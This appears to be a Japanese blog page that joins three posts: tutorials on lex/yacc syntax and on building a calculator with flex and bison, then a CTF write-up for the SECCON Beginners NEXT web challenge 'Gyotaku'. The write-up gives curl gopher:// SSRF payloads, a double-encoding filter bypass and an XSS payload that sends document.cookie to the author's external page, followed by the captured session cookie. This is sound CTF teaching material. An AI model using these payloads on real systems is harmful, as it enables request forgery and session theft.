flexとbisonを使って簡単な電卓を作る

はじめに

この記事は

kataware.hatenablog.jp

の続きになるゾ

前回lexとyaccの記述方法について書いたので、今回はlexとyaccを使ってオレオレ言語電卓を作ります。

さらに前回説明しなかったlexとyaccを使ったプログラムのコンパイル方法とかyaccプログラムの解説とかをしていきます

電卓プログラム

電卓は

lexで字句解析→yacc構文解析構文解析した結果に従ってプログラム実行

という感じにしていけばできるはずなので、まずは電卓で使用される文字を識別するためにlexでルールを作ります

今回は簡単な四則演算ができればいいと思うのでこんな感じ

lexプログラム

%%
"+"    return(ADD);
"-"    return(SUB);
"*"    return(MUL);
"/"    return(DIV);
"/n"   return(LF);
[0-9]+ { yylval = atoi(yytext);
       return(NUMBER); }
[ \t]+  ;
.       ;
%%

yaccプログラム

%token LF
%token NUMBER
%left ADD SUB
%left MUL DIV
%%
list : /* empty */
     | list expr LF { printf("%d\n",$2); }
     ;
expr : expr ADD expr { $$ = $1 + $3; }
     | expr SUB expr { $$ = $1 - $3; }
     | expr MUL expr { $$ = $1 * $3; }
     | expr DIV expr { $$ = $1 / $3; }
     | NUMBER
     ;
%%
#include "lex.yy.c"
main(){
 yyparse();
}

yaccプログラムの解説

宣言部のところ

tokenを宣言することでルール部で使用することができるようになります。

ルール部での符の宣言に%leftや%rightがあり、コンパイラにおけるそれぞれ左結合、右結合なのですがいちおう説明

3+5-4+2と言った式があった場合、左(3+5)から順に計算して欲しいときは左結合、逆に4+2から計算して欲しい場合は右結合になります。

加減乗除は左から計算していくので左結合になります。

乗除は加減よりも先に計算するという優先度があります。

そのため宣言をADDとSUBよりも下に書くことでMULとDIVの処理を先に行うように設定します。

ルール部

大体見た感じで解ると思います。入力におけるルール部の動きを追ったほうが説明しやすいしわかりやすいと思うのでそのように説明します。

まず入力が3 + 4 * 2 - 6 / 3 \nであったとします。

そうすると字句解析の結果NUMBER ADD NUMBER MUL NUMBER SUB NUMBER DIV NUMBER LFとなります。

ルール部にexpr : NUMBERとあるのでexpr ADD expr MUL expr SUB expr DIV exprとなります。

宣言部でMULとDIVは左結合で最優先となるのでexpr MUL exprがルール部のルールとなりexprとなります。またこの値は$1 * $3なので入力と照らし合わせて4 * 2で8になっています。

そんな感じで構文規則の通りに変換するとexpr ADD expr SUB exprとなっています3 + 8 - 2となるわけです。

次はADDとSUBなのでこれも同様にしていくので最後にexprが残ります。(この値は9)

listのところの構文規則ですが最初にlist: /* empty */となっています。これはlist : expr LFと同じ意味である。

なので最後には答えである9が出力されるわけである。

ここでなぜlist : expr LF {}と記述しないのという部分の話だが。これはCtrl-Dを入力として受け付けるためである。

list : /* empty */の規則はトークンを含まない空の入力文字列を受け取るためCtrl-Dが入力として受け付けられプログラムを終了します。

このように入力に合わせて構文規則を作っていく。

プログラム部

main関数をここで呼んでいる。この中でyyparse()を呼び出すことで構文解析が行われる

詳しいところはここで Bison 1.28: 構文解析器のC言語インターフェイス

lexとyaccの連携及びコンパイル

上のlexプログラムをcalc.lyaccプログラムをcalc.yとする。

また実行ファイルをexecuteとすると、以下のコマンドで実行ファイルができあがる

$ flex calc.l
$ bison calc.y
$ gcc calc.tab.c -lfl -ly -o ./execute

flex calc.lyaccプログラム内で呼び出すlex.yy.cファイルが作成され、次のbison calc.ygccコンパイルする`calc.tab.cが作られる

後はgccコンパイルすれば実行ファイルができあがる。実行すると標準入力から受け付けた計算を計算してくれる

終わり

これで簡単な電卓は完成である。後は()を使用できるように改善とかはできますが今回はここまで(続くかどうかは知らない)

参考

前回のも合わせて参考にした記事

Yacc/Lexの使い方(簡略版)

Bison 1.25

lexとyaccの記述方法の説明

イントロ

lexとyaccとはコンパイラ生成をするためのものである。lexは字句解析ルーチン、yacc構文解析ルーチンを生成するツールである。

linuxではlexの代わりにflexyaccの代わりにbisonが使える。

基本的にflexとbisonの仕様に沿って説明していきます。

lex(A lexical nalyzer generator)

lexの使い方

記述方法とかは後々として、実行するまでの流れを書く。

lexのプログラムは拡張子が.lとなり、lexのソースプログラムをsample.l、実行ファイルをexecutableとする。

またflexコマンドを実行するとlex.yy.cというファイルが出力される

$ flex sample.l
$ gcc -lfl lex.yy.c -o executable
$ ./executable

gccのところの-lflオプションはflexのライブラリをリンクしています。

lexプログラムの記述方法

lexプログラムは3部構成となっており、%%によって分割されます。

定義部
%%
ルール部
%%
ユーザコード部

また定義部とユーザコード部はなくても構いません。

以下にmanpageにもあるflexのサンプルコードを載せます。上記3部はこのサンプルコードを元に簡単に解説していきます。

このサンプルコードは入力された文字の行数と文字数を数えるプログラムになっています。

%{
            int num_lines = 0, num_chars = 0;
%}

%%
\n      ++num_lines; ++num_chars;
.       ++num_chars;

%%
main()
        {
        yylex();
        printf( "# of lines = %d, # of chars = %d\n",
                num_lines, num_chars );
        }

定義部

定義部では文字変換のための定義、広域で用いられるC言語ソースコードを記述します。

ここでは主にC言語ソースコードを書くことになると思います(自分がここでC言語以外の記述をしていないのでわからない)

C言語ソースコード%{%}で囲みます。サンプルコードを見ればわかりやすいと思います。

ここで書かれたコードはyacc等、外部からもアクセス可能となります。

%{
            int num_lines = 0, num_chars = 0;
%}

ルール部

ルール部では字句解析のための規則を記述します。入力された文字列を判別するための正規表現と、正規表現で認識した祭に行う処理を記述します。

サンプルプログラムでは改行のパターンに一致した際に、num_linesとnum_charsをインクリメントし、それ以外の全ての文字でnum_charsをインクリメントします。

\n      ++num_lines; ++num_chars;
.       ++num_chars;

ルール部では最長のルールに一致するものを調べます。上に記述したルールに一致していても、その後に一致する最長の正規表現が見つかればそのパターンの処理を行います。

またルールに一致しなかった場合には標準出力として出力されるので、最後に全てに一致するルールを追加して何もしないようにしておく必要があります。

ユーザコード部

ルール部で使用する局所的な関数やlex単体で使用する場合main関数をC言語で記述します。おしまい

yacc(yet another compiler compiler)

yaccの記述方法

yaccプログラムも3部構成となっており、%%によって分割されます。 コメントも/**/で記述することができます

宣言部
%%
ルール部
%%
プログラム部

宣言部

ここではC言語のコードや符を宣言します。ここで宣言した符がルール部での構文規則で利用できます。

符はlexでのアクションの戻り値を利用します。

符の宣言には%token, %left, %right, %nonassocを使用します。これらは複数行書くことができ、また下の行で宣言された符の優先順位が高くなります。

符の宣言は%token 大文字列 大文字列のような形式で宣言します。宣言方法の違いは以下の通り

  • %token:符の宣言
  • %left:符の宣言と同時に左優先の結合を宣言する
  • %right:符の宣言と同時に右優先の結合を宣言する
  • %nonassoc:符の宣言と同時に結合をしないことを宣言する

宣言方法はこのような形になります。この例ではPOWERの優先順位が一番高くなります

%token LP RP

%left ADD SUB

%right POWER

ルール部

構文解析のための構文規則をここでは記述します。記述方法はBNFの感じです。

BNFで使う:==:で、構文規則の最後には;を付けます。

必要な処理は{}で囲み、C言語で記述します。宣言部で定義した変数やプログラム部で記述した関数をこの中で使用できます。

ルール部はこんな形になります

NAME1 : TOKEN1 NAME1 {Program1} NAME2 {Program2}
      | TOKEN3 {Program3}
      ;

擬似変数の利用

構文間や構文規則内のデータの受け渡しに擬似変数を利用します。この変数はyaccコンパイル時に自動的に宣言されるため、ルール部では宣言する必要はありません。

疑似変数は$n(n=1,2,3)や$$で表されます。

$nはルール部の右辺のn番目の項が渡す値、

$$は代入専用の疑似変数でアクション内で利用する場合、i個目のアクションで$$=4とした場合、次の項では$iとして参照可能となります。 また構文規則間での受け渡しも可能で、この場合は$$への代入文の中で一番右にある代入文で代入された値がサ変にある非終端記号が渡す値になります。

プログラム部

lexと同じくプログラム部では関数を記述します。またlexが出力したプログラムをIncludeします

main関数も必要に応じて書きます。

#include "lex.yy.c"

終わりに(終わらない)

書いてたら長くなってきたので次の記事でyaccのサンプルコードとともにlexとの連携も含めて書いていきます。

yaccに関してはコードを見つつ、この説明を見ていけば雰囲気はわかります(私がそうでした)

ということで次で簡単な電卓のソースコードを見せつつ説明していきます。

SECCON Beginners NEXT Web

Web

CTF4bのWebのまとめ

Web問は難問

来年のDEFCONは出題者が変わるみたいなのでWeb問も出るかも?

Gyotaku

作問:れっくすさんの問題

予習

適当にURLを打ち込むとそのソースコードを表示してくれる。

いろいろなURLをいれるとわかることがある。

http://8.8.8.8/
http://a.i.u/
http://google.com/<a>test</a>
http://google.com/<script>alert('1')</script>

まず1番目に関してはForbiddenとなるので、なにか入力したもののチェックが行われていることがわかる。

2番目に関しては存在しないURLだが、Gyotaku結果にcurl: (6) Could not resolve host: a.i.uと出る。内部でcurlが使われているらしい。

3番目は表示されるが、4番目に関してはForbiddenになるのでタグに関してもチェックが行われている感じ

Posted gyotakus are checked by admin という表示があるのでXSSして管理者にアクセスさせるんだろうなという問題であることが予想できる

本番

curlの知らない機能たち

全てman curlに書いてある機能、これらを使ってXSSを行う

gopherを使ってpost通信する

gopherとはGolangのやつではなくプロトコルである。

ブラウザが主流となる前に使われていたプロトコルだが今は全然ないらしい

POST送信の中身をそのままgopherで使えばいいらしい

POST /new HTTP/ 1.1
Host: ほすとねーむ
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

url=x

というPOSTを送りたかったら

gopher://ほすとねーむ/_POST%20/new%20HTP/1.1%0d%0aHost:%20ほすとねーむ%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%205%0d%0a%0d%0aurl=x

確認したかったら、以下のコマンドを別々の端末で打てばPOST通信ができていることがわかる。

$ nc -l -p 10000
$ curl gopher://localhost:10000/_POST%20/new%20HTP/1.1%0d%0aHost:%20localhost:10000%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%205%0d%0a%0d%0aurl=x

Gyotakuの脆弱性をつく

curlのfileコマンドを使ってapcheの設定ファイルをリークすると127.0.0.1:9999にリバースプロキシがあることがわかる。

これを利用し127.0.0.1:9999にgopherプロトコルでPOST通信ができればXSSさせることができそう。

GyotakuにPOST通信

上の要領でgopherのPOST通信をごりごり書く

gopher://localhost:9999/_POST%20/new%20HTTP/1.{1}%0d%0aHost{%3a}%20localhost:9999%0d%0aContent-Length{%3a}%20コンテンツの中身の長さ%0d%0aContent-Type{%3a}%20application/x-www-form-urlencoded%0d%0aCookie{%3a}%20session=くっきー%0d%0a%0d%0aurl=自分のページ

こんな感じでうまく行く。後はscriptを書き込む。

GyotakuでXSS

POST通信の時にがっつりカットしたけどチェックされそうな部分を%エンコードしていく。 タグ等は1回はパーセントから戻されるので<%253cとしておくと1回デコードされて%3cとなってチェックをすり抜けられる。

gopher://localhost:9999/_POST%20/new%20HTTP/1.{1}%0d%0aHost{%3a}%20localhost:9999%0d%0aContent-Length{%3a}%20コンテンツの中身の長さ%0d%0aContent-Type{%3a}%20application/x-www-form-urlencoded%0d%0aCookie{%3a}%20session=くっきー%0d%0a%0d%0aurl=%253cscript>location.href="自分のページ/%3fa="%252bdocument%252ecookie%253c/script>

クッキー入手

"GET /?a=session=293e53ca013fb6ece2ef7d773905495e503bf3ba38781363a504b21f0a3248e3 HTTP/1.1" 200 2425 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/60.0.3112.113 HeadlessChrome/60.0.3112.113 Safari/537.36"

こんな感じでクッキー入手、後は書き換えてflagも手に入ります。

感想

POST送信系統がめんどい、既にWriteup書いてた方のようにshellscriptとかpythonで書いた方がミスが少ないと思います。 Gyotakuのシステムでは送信できていれば送信途中までのPOSTが現れるのでそれを頼りになおしていくといい。Webはやはりいろいろ知識がいるなぁと

解答に関してですがrequestb.inは相性が悪いらしいので自分はawsを使いました。awsのelastic IPだとめんどいのでパブリックDNSを使ったほうがいい感じになると思います。

もっと強くなりたい。